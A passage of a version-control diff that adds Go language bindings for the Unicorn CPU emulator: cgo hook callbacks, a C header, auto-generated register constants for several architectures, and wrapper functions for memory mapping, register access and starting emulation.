void hookX86Out_cgo(uch handle, uint32_t port, uint32_t size, uint32_t value, void *user) {
|
||||||
|
hookX86Out(handle, port, size, value, user);
|
||||||
|
}
|
||||||
|
|
||||||
|
void hookX86Syscall_cgo(uch handle, void *user) {
|
||||||
|
hookX86Syscall(handle, user);
|
||||||
|
}
|
92
bindings/go/unicorn/hook.go
Normal file
92
bindings/go/unicorn/hook.go
Normal file
@ -0,0 +1,92 @@
|
|||||||
|
package unicorn
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
#include <unicorn/unicorn.h>
|
||||||
|
#include "hook.h"
|
||||||
|
*/
|
||||||
|
import "C"
|
||||||
|
|
||||||
|
type HookData struct {
|
||||||
|
Uc *Uc
|
||||||
|
Callback interface{}
|
||||||
|
}
|
||||||
|
|
||||||
|
//export hookCode
|
||||||
|
func hookCode(handle C.uch, addr C.uint64_t, size C.uint32_t, user unsafe.Pointer) {
|
||||||
|
hook := (*HookData)(user)
|
||||||
|
hook.Callback.(func(*Uc, uint64, uint32))(hook.Uc, uint64(addr), uint32(size))
|
||||||
|
}
|
||||||
|
|
||||||
|
//export hookMemInvalid
|
||||||
|
func hookMemInvalid(handle C.uch, typ C.uc_mem_type, addr C.uint64_t, size int, value C.int64_t, user unsafe.Pointer) C.bool {
|
||||||
|
hook := (*HookData)(user)
|
||||||
|
return C.bool(hook.Callback.(func(*Uc, int, uint64, int, int64) bool)(hook.Uc, int(typ), uint64(addr), size, int64(value)))
|
||||||
|
}
|
||||||
|
|
||||||
|
//export hookMemAccess
|
||||||
|
func hookMemAccess(handle C.uch, typ C.uc_mem_type, addr C.uint64_t, size int, value C.int64_t, user unsafe.Pointer) {
|
||||||
|
hook := (*HookData)(user)
|
||||||
|
hook.Callback.(func(*Uc, int, uint64, int, int64))(hook.Uc, int(typ), uint64(addr), size, int64(value))
|
||||||
|
}
|
||||||
|
|
||||||
|
//export hookX86In
|
||||||
|
func hookX86In(handle C.uch, port, size uint32, user unsafe.Pointer) C.uint32_t {
|
||||||
|
hook := (*HookData)(user)
|
||||||
|
return C.uint32_t(hook.Callback.(func(*Uc, uint32, uint32) uint32)(hook.Uc, port, size))
|
||||||
|
}
|
||||||
|
|
||||||
|
//export hookX86Out
|
||||||
|
func hookX86Out(handle C.uch, port, size, value uint32, user unsafe.Pointer) {
|
||||||
|
hook := (*HookData)(user)
|
||||||
|
hook.Callback.(func(*Uc, uint32, uint32, uint32))(hook.Uc, uint32(port), uint32(size), uint32(value))
|
||||||
|
}
|
||||||
|
|
||||||
|
//export hookX86Syscall
|
||||||
|
func hookX86Syscall(handle C.uch, user unsafe.Pointer) {
|
||||||
|
hook := (*HookData)(user)
|
||||||
|
hook.Callback.(func(*Uc))(hook.Uc)
|
||||||
|
}
|
||||||
|
|
||||||
|
var hookRetain = make(map[C.uch]*HookData)
|
||||||
|
|
||||||
|
func (u *Uc) HookAdd(htype int, cb interface{}, insn ...int) (C.uch, error) {
|
||||||
|
var callback unsafe.Pointer
|
||||||
|
var extra C.int
|
||||||
|
switch htype {
|
||||||
|
case UC_HOOK_BLOCK, UC_HOOK_CODE:
|
||||||
|
callback = C.hookCode_cgo
|
||||||
|
case UC_HOOK_MEM_INVALID:
|
||||||
|
callback = C.hookMemInvalid_cgo
|
||||||
|
case UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ_WRITE:
|
||||||
|
callback = C.hookMemAccess_cgo
|
||||||
|
case UC_HOOK_INSN:
|
||||||
|
extra = C.int(insn[0])
|
||||||
|
switch extra {
|
||||||
|
case UC_X86_INS_IN:
|
||||||
|
callback = C.hookX86In_cgo
|
||||||
|
case UC_X86_INS_OUT:
|
||||||
|
callback = C.hookX86Out_cgo
|
||||||
|
case UC_X86_INS_SYSCALL, UC_X86_INS_SYSENTER:
|
||||||
|
callback = C.hookX86Syscall_cgo
|
||||||
|
default:
|
||||||
|
return 0, errors.New("Unknown instruction type.")
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return 0, errors.New("Unknown hook type.")
|
||||||
|
}
|
||||||
|
var h2 C.uch
|
||||||
|
data := &HookData{u, cb}
|
||||||
|
C.uc_hook_add2(u.Handle, &h2, C.uc_hook_t(htype), callback, unsafe.Pointer(data), extra)
|
||||||
|
hookRetain[h2] = data
|
||||||
|
return h2, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) HookDel(hook *C.uch) error {
|
||||||
|
delete(hookRetain, *hook)
|
||||||
|
return errReturn(C.uc_hook_del(u.Handle, hook))
|
||||||
|
}
|
7
bindings/go/unicorn/hook.h
Normal file
7
bindings/go/unicorn/hook.h
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
uc_err uc_hook_add2(uch handle, uch *h2, uc_hook_t type, void *callback, void *user_data, int extra);
|
||||||
|
void hookCode_cgo(uch handle, uint64_t addr, uint32_t size, void *user);
|
||||||
|
bool hookMemInvalid_cgo(uch handle, uc_mem_type type, uint64_t addr, int size, int64_t value, void *user);
|
||||||
|
void hookMemAccess_cgo(uch handle, uc_mem_type type, uint64_t addr, int size, int64_t value, void *user);
|
||||||
|
uint32_t hookX86In_cgo(uch handle, uint32_t port, uint32_t size, void *user);
|
||||||
|
void hookX86Out_cgo(uch handle, uint32_t port, uint32_t size, uint32_t value, void *user);
|
||||||
|
void hookX86Syscall_cgo(uch handle, void *user);
|
27
bindings/go/unicorn/m68k_const.go
Normal file
27
bindings/go/unicorn/m68k_const.go
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
package unicorn
|
||||||
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [m68k_const.go]
|
||||||
|
const (
|
||||||
|
|
||||||
|
// M68K registers
|
||||||
|
|
||||||
|
UC_M68K_REG_INVALID = 0
|
||||||
|
UC_M68K_REG_A0 = 1
|
||||||
|
UC_M68K_REG_A1 = 2
|
||||||
|
UC_M68K_REG_A2 = 3
|
||||||
|
UC_M68K_REG_A3 = 4
|
||||||
|
UC_M68K_REG_A4 = 5
|
||||||
|
UC_M68K_REG_A5 = 6
|
||||||
|
UC_M68K_REG_A6 = 7
|
||||||
|
UC_M68K_REG_A7 = 8
|
||||||
|
UC_M68K_REG_D0 = 9
|
||||||
|
UC_M68K_REG_D1 = 10
|
||||||
|
UC_M68K_REG_D2 = 11
|
||||||
|
UC_M68K_REG_D3 = 12
|
||||||
|
UC_M68K_REG_D4 = 13
|
||||||
|
UC_M68K_REG_D5 = 14
|
||||||
|
UC_M68K_REG_D6 = 15
|
||||||
|
UC_M68K_REG_D7 = 16
|
||||||
|
UC_M68K_REG_SR = 17
|
||||||
|
UC_M68K_REG_PC = 18
|
||||||
|
UC_M68K_REG_ENDING = 19
|
||||||
|
)
|
198
bindings/go/unicorn/mips_const.go
Normal file
198
bindings/go/unicorn/mips_const.go
Normal file
@ -0,0 +1,198 @@
|
|||||||
|
package unicorn
|
||||||
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [mips_const.go]
|
||||||
|
const (
|
||||||
|
|
||||||
|
// MIPS registers
|
||||||
|
|
||||||
|
UC_MIPS_REG_INVALID = 0
|
||||||
|
|
||||||
|
// General purpose registers
|
||||||
|
UC_MIPS_REG_PC = 1
|
||||||
|
UC_MIPS_REG_0 = 2
|
||||||
|
UC_MIPS_REG_1 = 3
|
||||||
|
UC_MIPS_REG_2 = 4
|
||||||
|
UC_MIPS_REG_3 = 5
|
||||||
|
UC_MIPS_REG_4 = 6
|
||||||
|
UC_MIPS_REG_5 = 7
|
||||||
|
UC_MIPS_REG_6 = 8
|
||||||
|
UC_MIPS_REG_7 = 9
|
||||||
|
UC_MIPS_REG_8 = 10
|
||||||
|
UC_MIPS_REG_9 = 11
|
||||||
|
UC_MIPS_REG_10 = 12
|
||||||
|
UC_MIPS_REG_11 = 13
|
||||||
|
UC_MIPS_REG_12 = 14
|
||||||
|
UC_MIPS_REG_13 = 15
|
||||||
|
UC_MIPS_REG_14 = 16
|
||||||
|
UC_MIPS_REG_15 = 17
|
||||||
|
UC_MIPS_REG_16 = 18
|
||||||
|
UC_MIPS_REG_17 = 19
|
||||||
|
UC_MIPS_REG_18 = 20
|
||||||
|
UC_MIPS_REG_19 = 21
|
||||||
|
UC_MIPS_REG_20 = 22
|
||||||
|
UC_MIPS_REG_21 = 23
|
||||||
|
UC_MIPS_REG_22 = 24
|
||||||
|
UC_MIPS_REG_23 = 25
|
||||||
|
UC_MIPS_REG_24 = 26
|
||||||
|
UC_MIPS_REG_25 = 27
|
||||||
|
UC_MIPS_REG_26 = 28
|
||||||
|
UC_MIPS_REG_27 = 29
|
||||||
|
UC_MIPS_REG_28 = 30
|
||||||
|
UC_MIPS_REG_29 = 31
|
||||||
|
UC_MIPS_REG_30 = 32
|
||||||
|
UC_MIPS_REG_31 = 33
|
||||||
|
|
||||||
|
// DSP registers
|
||||||
|
UC_MIPS_REG_DSPCCOND = 34
|
||||||
|
UC_MIPS_REG_DSPCARRY = 35
|
||||||
|
UC_MIPS_REG_DSPEFI = 36
|
||||||
|
UC_MIPS_REG_DSPOUTFLAG = 37
|
||||||
|
UC_MIPS_REG_DSPOUTFLAG16_19 = 38
|
||||||
|
UC_MIPS_REG_DSPOUTFLAG20 = 39
|
||||||
|
UC_MIPS_REG_DSPOUTFLAG21 = 40
|
||||||
|
UC_MIPS_REG_DSPOUTFLAG22 = 41
|
||||||
|
UC_MIPS_REG_DSPOUTFLAG23 = 42
|
||||||
|
UC_MIPS_REG_DSPPOS = 43
|
||||||
|
UC_MIPS_REG_DSPSCOUNT = 44
|
||||||
|
|
||||||
|
// ACC registers
|
||||||
|
UC_MIPS_REG_AC0 = 45
|
||||||
|
UC_MIPS_REG_AC1 = 46
|
||||||
|
UC_MIPS_REG_AC2 = 47
|
||||||
|
UC_MIPS_REG_AC3 = 48
|
||||||
|
|
||||||
|
// COP registers
|
||||||
|
UC_MIPS_REG_CC0 = 49
|
||||||
|
UC_MIPS_REG_CC1 = 50
|
||||||
|
UC_MIPS_REG_CC2 = 51
|
||||||
|
UC_MIPS_REG_CC3 = 52
|
||||||
|
UC_MIPS_REG_CC4 = 53
|
||||||
|
UC_MIPS_REG_CC5 = 54
|
||||||
|
UC_MIPS_REG_CC6 = 55
|
||||||
|
UC_MIPS_REG_CC7 = 56
|
||||||
|
|
||||||
|
// FPU registers
|
||||||
|
UC_MIPS_REG_F0 = 57
|
||||||
|
UC_MIPS_REG_F1 = 58
|
||||||
|
UC_MIPS_REG_F2 = 59
|
||||||
|
UC_MIPS_REG_F3 = 60
|
||||||
|
UC_MIPS_REG_F4 = 61
|
||||||
|
UC_MIPS_REG_F5 = 62
|
||||||
|
UC_MIPS_REG_F6 = 63
|
||||||
|
UC_MIPS_REG_F7 = 64
|
||||||
|
UC_MIPS_REG_F8 = 65
|
||||||
|
UC_MIPS_REG_F9 = 66
|
||||||
|
UC_MIPS_REG_F10 = 67
|
||||||
|
UC_MIPS_REG_F11 = 68
|
||||||
|
UC_MIPS_REG_F12 = 69
|
||||||
|
UC_MIPS_REG_F13 = 70
|
||||||
|
UC_MIPS_REG_F14 = 71
|
||||||
|
UC_MIPS_REG_F15 = 72
|
||||||
|
UC_MIPS_REG_F16 = 73
|
||||||
|
UC_MIPS_REG_F17 = 74
|
||||||
|
UC_MIPS_REG_F18 = 75
|
||||||
|
UC_MIPS_REG_F19 = 76
|
||||||
|
UC_MIPS_REG_F20 = 77
|
||||||
|
UC_MIPS_REG_F21 = 78
|
||||||
|
UC_MIPS_REG_F22 = 79
|
||||||
|
UC_MIPS_REG_F23 = 80
|
||||||
|
UC_MIPS_REG_F24 = 81
|
||||||
|
UC_MIPS_REG_F25 = 82
|
||||||
|
UC_MIPS_REG_F26 = 83
|
||||||
|
UC_MIPS_REG_F27 = 84
|
||||||
|
UC_MIPS_REG_F28 = 85
|
||||||
|
UC_MIPS_REG_F29 = 86
|
||||||
|
UC_MIPS_REG_F30 = 87
|
||||||
|
UC_MIPS_REG_F31 = 88
|
||||||
|
UC_MIPS_REG_FCC0 = 89
|
||||||
|
UC_MIPS_REG_FCC1 = 90
|
||||||
|
UC_MIPS_REG_FCC2 = 91
|
||||||
|
UC_MIPS_REG_FCC3 = 92
|
||||||
|
UC_MIPS_REG_FCC4 = 93
|
||||||
|
UC_MIPS_REG_FCC5 = 94
|
||||||
|
UC_MIPS_REG_FCC6 = 95
|
||||||
|
UC_MIPS_REG_FCC7 = 96
|
||||||
|
|
||||||
|
// AFPR128
|
||||||
|
UC_MIPS_REG_W0 = 97
|
||||||
|
UC_MIPS_REG_W1 = 98
|
||||||
|
UC_MIPS_REG_W2 = 99
|
||||||
|
UC_MIPS_REG_W3 = 100
|
||||||
|
UC_MIPS_REG_W4 = 101
|
||||||
|
UC_MIPS_REG_W5 = 102
|
||||||
|
UC_MIPS_REG_W6 = 103
|
||||||
|
UC_MIPS_REG_W7 = 104
|
||||||
|
UC_MIPS_REG_W8 = 105
|
||||||
|
UC_MIPS_REG_W9 = 106
|
||||||
|
UC_MIPS_REG_W10 = 107
|
||||||
|
UC_MIPS_REG_W11 = 108
|
||||||
|
UC_MIPS_REG_W12 = 109
|
||||||
|
UC_MIPS_REG_W13 = 110
|
||||||
|
UC_MIPS_REG_W14 = 111
|
||||||
|
UC_MIPS_REG_W15 = 112
|
||||||
|
UC_MIPS_REG_W16 = 113
|
||||||
|
UC_MIPS_REG_W17 = 114
|
||||||
|
UC_MIPS_REG_W18 = 115
|
||||||
|
UC_MIPS_REG_W19 = 116
|
||||||
|
UC_MIPS_REG_W20 = 117
|
||||||
|
UC_MIPS_REG_W21 = 118
|
||||||
|
UC_MIPS_REG_W22 = 119
|
||||||
|
UC_MIPS_REG_W23 = 120
|
||||||
|
UC_MIPS_REG_W24 = 121
|
||||||
|
UC_MIPS_REG_W25 = 122
|
||||||
|
UC_MIPS_REG_W26 = 123
|
||||||
|
UC_MIPS_REG_W27 = 124
|
||||||
|
UC_MIPS_REG_W28 = 125
|
||||||
|
UC_MIPS_REG_W29 = 126
|
||||||
|
UC_MIPS_REG_W30 = 127
|
||||||
|
UC_MIPS_REG_W31 = 128
|
||||||
|
UC_MIPS_REG_HI = 129
|
||||||
|
UC_MIPS_REG_LO = 130
|
||||||
|
UC_MIPS_REG_P0 = 131
|
||||||
|
UC_MIPS_REG_P1 = 132
|
||||||
|
UC_MIPS_REG_P2 = 133
|
||||||
|
UC_MIPS_REG_MPL0 = 134
|
||||||
|
UC_MIPS_REG_MPL1 = 135
|
||||||
|
UC_MIPS_REG_MPL2 = 136
|
||||||
|
UC_MIPS_REG_ENDING = 137
|
||||||
|
UC_MIPS_REG_ZERO = 2
|
||||||
|
UC_MIPS_REG_AT = 3
|
||||||
|
UC_MIPS_REG_V0 = 4
|
||||||
|
UC_MIPS_REG_V1 = 5
|
||||||
|
UC_MIPS_REG_A0 = 6
|
||||||
|
UC_MIPS_REG_A1 = 7
|
||||||
|
UC_MIPS_REG_A2 = 8
|
||||||
|
UC_MIPS_REG_A3 = 9
|
||||||
|
UC_MIPS_REG_T0 = 10
|
||||||
|
UC_MIPS_REG_T1 = 11
|
||||||
|
UC_MIPS_REG_T2 = 12
|
||||||
|
UC_MIPS_REG_T3 = 13
|
||||||
|
UC_MIPS_REG_T4 = 14
|
||||||
|
UC_MIPS_REG_T5 = 15
|
||||||
|
UC_MIPS_REG_T6 = 16
|
||||||
|
UC_MIPS_REG_T7 = 17
|
||||||
|
UC_MIPS_REG_S0 = 18
|
||||||
|
UC_MIPS_REG_S1 = 19
|
||||||
|
UC_MIPS_REG_S2 = 20
|
||||||
|
UC_MIPS_REG_S3 = 21
|
||||||
|
UC_MIPS_REG_S4 = 22
|
||||||
|
UC_MIPS_REG_S5 = 23
|
||||||
|
UC_MIPS_REG_S6 = 24
|
||||||
|
UC_MIPS_REG_S7 = 25
|
||||||
|
UC_MIPS_REG_T8 = 26
|
||||||
|
UC_MIPS_REG_T9 = 27
|
||||||
|
UC_MIPS_REG_K0 = 28
|
||||||
|
UC_MIPS_REG_K1 = 29
|
||||||
|
UC_MIPS_REG_GP = 30
|
||||||
|
UC_MIPS_REG_SP = 31
|
||||||
|
UC_MIPS_REG_FP = 32
|
||||||
|
UC_MIPS_REG_S8 = 32
|
||||||
|
UC_MIPS_REG_RA = 33
|
||||||
|
UC_MIPS_REG_HI0 = 45
|
||||||
|
UC_MIPS_REG_HI1 = 46
|
||||||
|
UC_MIPS_REG_HI2 = 47
|
||||||
|
UC_MIPS_REG_HI3 = 48
|
||||||
|
UC_MIPS_REG_LO0 = 45
|
||||||
|
UC_MIPS_REG_LO1 = 46
|
||||||
|
UC_MIPS_REG_LO2 = 47
|
||||||
|
UC_MIPS_REG_LO3 = 48
|
||||||
|
)
|
99
bindings/go/unicorn/sparc_const.go
Normal file
99
bindings/go/unicorn/sparc_const.go
Normal file
@ -0,0 +1,99 @@
|
|||||||
|
package unicorn
|
||||||
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [sparc_const.go]
|
||||||
|
const (
|
||||||
|
|
||||||
|
// SPARC registers
|
||||||
|
|
||||||
|
UC_SPARC_REG_INVALID = 0
|
||||||
|
UC_SPARC_REG_F0 = 1
|
||||||
|
UC_SPARC_REG_F1 = 2
|
||||||
|
UC_SPARC_REG_F2 = 3
|
||||||
|
UC_SPARC_REG_F3 = 4
|
||||||
|
UC_SPARC_REG_F4 = 5
|
||||||
|
UC_SPARC_REG_F5 = 6
|
||||||
|
UC_SPARC_REG_F6 = 7
|
||||||
|
UC_SPARC_REG_F7 = 8
|
||||||
|
UC_SPARC_REG_F8 = 9
|
||||||
|
UC_SPARC_REG_F9 = 10
|
||||||
|
UC_SPARC_REG_F10 = 11
|
||||||
|
UC_SPARC_REG_F11 = 12
|
||||||
|
UC_SPARC_REG_F12 = 13
|
||||||
|
UC_SPARC_REG_F13 = 14
|
||||||
|
UC_SPARC_REG_F14 = 15
|
||||||
|
UC_SPARC_REG_F15 = 16
|
||||||
|
UC_SPARC_REG_F16 = 17
|
||||||
|
UC_SPARC_REG_F17 = 18
|
||||||
|
UC_SPARC_REG_F18 = 19
|
||||||
|
UC_SPARC_REG_F19 = 20
|
||||||
|
UC_SPARC_REG_F20 = 21
|
||||||
|
UC_SPARC_REG_F21 = 22
|
||||||
|
UC_SPARC_REG_F22 = 23
|
||||||
|
UC_SPARC_REG_F23 = 24
|
||||||
|
UC_SPARC_REG_F24 = 25
|
||||||
|
UC_SPARC_REG_F25 = 26
|
||||||
|
UC_SPARC_REG_F26 = 27
|
||||||
|
UC_SPARC_REG_F27 = 28
|
||||||
|
UC_SPARC_REG_F28 = 29
|
||||||
|
UC_SPARC_REG_F29 = 30
|
||||||
|
UC_SPARC_REG_F30 = 31
|
||||||
|
UC_SPARC_REG_F31 = 32
|
||||||
|
UC_SPARC_REG_F32 = 33
|
||||||
|
UC_SPARC_REG_F34 = 34
|
||||||
|
UC_SPARC_REG_F36 = 35
|
||||||
|
UC_SPARC_REG_F38 = 36
|
||||||
|
UC_SPARC_REG_F40 = 37
|
||||||
|
UC_SPARC_REG_F42 = 38
|
||||||
|
UC_SPARC_REG_F44 = 39
|
||||||
|
UC_SPARC_REG_F46 = 40
|
||||||
|
UC_SPARC_REG_F48 = 41
|
||||||
|
UC_SPARC_REG_F50 = 42
|
||||||
|
UC_SPARC_REG_F52 = 43
|
||||||
|
UC_SPARC_REG_F54 = 44
|
||||||
|
UC_SPARC_REG_F56 = 45
|
||||||
|
UC_SPARC_REG_F58 = 46
|
||||||
|
UC_SPARC_REG_F60 = 47
|
||||||
|
UC_SPARC_REG_F62 = 48
|
||||||
|
UC_SPARC_REG_FCC0 = 49
|
||||||
|
UC_SPARC_REG_FCC1 = 50
|
||||||
|
UC_SPARC_REG_FCC2 = 51
|
||||||
|
UC_SPARC_REG_FCC3 = 52
|
||||||
|
UC_SPARC_REG_FP = 53
|
||||||
|
UC_SPARC_REG_G0 = 54
|
||||||
|
UC_SPARC_REG_G1 = 55
|
||||||
|
UC_SPARC_REG_G2 = 56
|
||||||
|
UC_SPARC_REG_G3 = 57
|
||||||
|
UC_SPARC_REG_G4 = 58
|
||||||
|
UC_SPARC_REG_G5 = 59
|
||||||
|
UC_SPARC_REG_G6 = 60
|
||||||
|
UC_SPARC_REG_G7 = 61
|
||||||
|
UC_SPARC_REG_I0 = 62
|
||||||
|
UC_SPARC_REG_I1 = 63
|
||||||
|
UC_SPARC_REG_I2 = 64
|
||||||
|
UC_SPARC_REG_I3 = 65
|
||||||
|
UC_SPARC_REG_I4 = 66
|
||||||
|
UC_SPARC_REG_I5 = 67
|
||||||
|
UC_SPARC_REG_I7 = 68
|
||||||
|
UC_SPARC_REG_ICC = 69
|
||||||
|
UC_SPARC_REG_L0 = 70
|
||||||
|
UC_SPARC_REG_L1 = 71
|
||||||
|
UC_SPARC_REG_L2 = 72
|
||||||
|
UC_SPARC_REG_L3 = 73
|
||||||
|
UC_SPARC_REG_L4 = 74
|
||||||
|
UC_SPARC_REG_L5 = 75
|
||||||
|
UC_SPARC_REG_L6 = 76
|
||||||
|
UC_SPARC_REG_L7 = 77
|
||||||
|
UC_SPARC_REG_O0 = 78
|
||||||
|
UC_SPARC_REG_O1 = 79
|
||||||
|
UC_SPARC_REG_O2 = 80
|
||||||
|
UC_SPARC_REG_O3 = 81
|
||||||
|
UC_SPARC_REG_O4 = 82
|
||||||
|
UC_SPARC_REG_O5 = 83
|
||||||
|
UC_SPARC_REG_O7 = 84
|
||||||
|
UC_SPARC_REG_SP = 85
|
||||||
|
UC_SPARC_REG_Y = 86
|
||||||
|
UC_SPARC_REG_XCC = 87
|
||||||
|
UC_SPARC_REG_PC = 88
|
||||||
|
UC_SPARC_REG_ENDING = 89
|
||||||
|
UC_SPARC_REG_O6 = 85
|
||||||
|
UC_SPARC_REG_I6 = 53
|
||||||
|
)
|
99
bindings/go/unicorn/unicorn.go
Normal file
99
bindings/go/unicorn/unicorn.go
Normal file
@ -0,0 +1,99 @@
|
|||||||
|
package unicorn
|
||||||
|
|
||||||
|
import (
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
#cgo LDFLAGS: -lunicorn
|
||||||
|
#include <unicorn/unicorn.h>
|
||||||
|
*/
|
||||||
|
import "C"
|
||||||
|
|
||||||
|
type UcError C.uc_err
|
||||||
|
|
||||||
|
func (u UcError) Error() string {
|
||||||
|
return C.GoString(C.uc_strerror(C.uc_err(u)))
|
||||||
|
}
|
||||||
|
|
||||||
|
func errReturn(err C.uc_err) error {
|
||||||
|
if err != UC_ERR_OK {
|
||||||
|
return UcError(err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type Uc struct {
|
||||||
|
Handle C.uch
|
||||||
|
Arch, Mode int
|
||||||
|
}
|
||||||
|
|
||||||
|
type UcOptions struct {
|
||||||
|
Timeout, Count uint64
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewUc(arch, mode int) (*Uc, error) {
|
||||||
|
var major, minor C.uint
|
||||||
|
C.uc_version(&major, &minor)
|
||||||
|
if major != C.UC_API_MAJOR || minor != C.UC_API_MINOR {
|
||||||
|
return nil, UcError(UC_ERR_VERSION)
|
||||||
|
}
|
||||||
|
var handle C.uch
|
||||||
|
if ucerr := C.uc_open(C.uc_arch(arch), C.uc_mode(mode), &handle); ucerr != UC_ERR_OK {
|
||||||
|
return nil, UcError(ucerr)
|
||||||
|
}
|
||||||
|
uc := &Uc{handle, arch, mode}
|
||||||
|
return uc, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) StartWithOptions(begin, until uint64, options *UcOptions) error {
|
||||||
|
ucerr := C.uc_emu_start(u.Handle, C.uint64_t(begin), C.uint64_t(until), C.uint64_t(options.Timeout), C.size_t(options.Count))
|
||||||
|
return errReturn(ucerr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) Start(begin, until uint64) error {
|
||||||
|
return u.StartWithOptions(begin, until, &UcOptions{})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) Stop() error {
|
||||||
|
return errReturn(C.uc_emu_stop(u.Handle))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) RegWrite(reg int, value uint64) error {
|
||||||
|
var val C.uint64_t = C.uint64_t(value)
|
||||||
|
ucerr := C.uc_reg_write(u.Handle, C.int(reg), unsafe.Pointer(&val))
|
||||||
|
return errReturn(ucerr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) RegRead(reg int) (uint64, error) {
|
||||||
|
var val C.uint64_t
|
||||||
|
ucerr := C.uc_reg_read(u.Handle, C.int(reg), unsafe.Pointer(&val))
|
||||||
|
return uint64(val), errReturn(ucerr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) MemWrite(addr uint64, data []byte) error {
|
||||||
|
if len(data) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return errReturn(C.uc_mem_write(u.Handle, C.uint64_t(addr), (*C.uint8_t)(unsafe.Pointer(&data[0])), C.size_t(len(data))))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) MemReadInto(dst []byte, addr uint64) error {
|
||||||
|
if len(dst) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return errReturn(C.uc_mem_read(u.Handle, C.uint64_t(addr), (*C.uint8_t)(unsafe.Pointer(&dst[0])), C.size_t(len(dst))))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) MemRead(addr, size uint64) ([]byte, error) {
|
||||||
|
dst := make([]byte, size)
|
||||||
|
return dst, u.MemReadInto(dst, addr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) MemMapProt(addr, size uint64, prot int) error {
|
||||||
|
return errReturn(C.uc_mem_map(u.Handle, C.uint64_t(addr), C.size_t(size), C.uint32_t(prot)))
|
||||||
|
}
|
||||||
|
|
||||||
|
func (u *Uc) MemMap(addr, size uint64) error {
|
||||||
|
return u.MemMapProt(addr, size, UC_PROT_ALL)
|
||||||
|
}
|
69
bindings/go/unicorn/unicorn_const.go
Normal file
69
bindings/go/unicorn/unicorn_const.go
Normal file
@ -0,0 +1,69 @@
|
|||||||
|
package unicorn
|
||||||
|
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [unicorn_const.go]
|
||||||
|
const (
|
||||||
|
|
||||||
|
UC_API_MAJOR = 0
|
||||||
|
UC_API_MINOR = 9
|
||||||
|
UC_SECOND_SCALE = 1000000
|
||||||
|
UC_MILISECOND_SCALE = 1000
|
||||||
|
UC_ARCH_ARM = 1
|
||||||
|
UC_ARCH_ARM64 = 2
|
||||||
|
UC_ARCH_MIPS = 3
|
||||||
|
UC_ARCH_X86 = 4
|
||||||
|
UC_ARCH_PPC = 5
|
||||||
|
UC_ARCH_SPARC = 6
|
||||||
|
UC_ARCH_M68K = 7
|
||||||
|
UC_ARCH_MAX = 8
|
||||||
|
|
||||||
|
UC_MODE_LITTLE_ENDIAN = 0
|
||||||
|
|
||||||
|
UC_MODE_ARM = 0
|
||||||
|
UC_MODE_16 = 2
|
||||||
|
UC_MODE_32 = 4
|
||||||
|
UC_MODE_64 = 8
|
||||||
|
UC_MODE_THUMB = 16
|
||||||
|
UC_MODE_MCLASS = 32
|
||||||
|
UC_MODE_V8 = 64
|
||||||
|
UC_MODE_MICRO = 16
|
||||||
|
UC_MODE_MIPS3 = 32
|
||||||
|
UC_MODE_MIPS32R6 = 64
|
||||||
|
UC_MODE_V9 = 16
|
||||||
|
UC_MODE_QPX = 16
|
||||||
|
UC_MODE_BIG_ENDIAN = 1073741824
|
||||||
|
UC_MODE_MIPS32 = 4
|
||||||
|
UC_MODE_MIPS64 = 8
|
||||||
|
|
||||||
|
UC_ERR_OK = 0
|
||||||
|
UC_ERR_OOM = 1
|
||||||
|
UC_ERR_ARCH = 2
|
||||||
|
UC_ERR_HANDLE = 3
|
||||||
|
UC_ERR_UCH = 4
|
||||||
|
UC_ERR_MODE = 5
|
||||||
|
UC_ERR_VERSION = 6
|
||||||
|
UC_ERR_MEM_READ = 7
|
||||||
|
UC_ERR_MEM_WRITE = 8
|
||||||
|
UC_ERR_CODE_INVALID = 9
|
||||||
|
UC_ERR_HOOK = 10
|
||||||
|
UC_ERR_INSN_INVALID = 11
|
||||||
|
UC_ERR_MAP = 12
|
||||||
|
UC_ERR_MEM_WRITE_NW = 13
|
||||||
|
UC_ERR_MEM_READ_NR = 14
|
||||||
|
UC_MEM_READ = 16
|
||||||
|
UC_MEM_WRITE = 17
|
||||||
|
UC_MEM_READ_WRITE = 18
|
||||||
|
UC_MEM_WRITE_NW = 19
|
||||||
|
UC_MEM_READ_NR = 20
|
||||||
|
UC_HOOK_INTR = 32
|
||||||
|
UC_HOOK_INSN = 33
|
||||||
|
UC_HOOK_CODE = 34
|
||||||
|
UC_HOOK_BLOCK = 35
|
||||||
|
UC_HOOK_MEM_INVALID = 36
|
||||||
|
UC_HOOK_MEM_READ = 37
|
||||||
|
UC_HOOK_MEM_WRITE = 38
|
||||||
|
UC_HOOK_MEM_READ_WRITE = 39
|
||||||
|
|
||||||
|
UC_PROT_NONE = 0
|
||||||
|
UC_PROT_READ = 1
|
||||||
|
UC_PROT_WRITE = 2
|
||||||
|
UC_PROT_ALL = 3
|
||||||
|
)
|
1592
bindings/go/unicorn/x86_const.go
Normal file
1592
bindings/go/unicorn/x86_const.go
Normal file
File diff suppressed because it is too large
Load Diff
145
bindings/go/unicorn/x86_test.go
Normal file
145
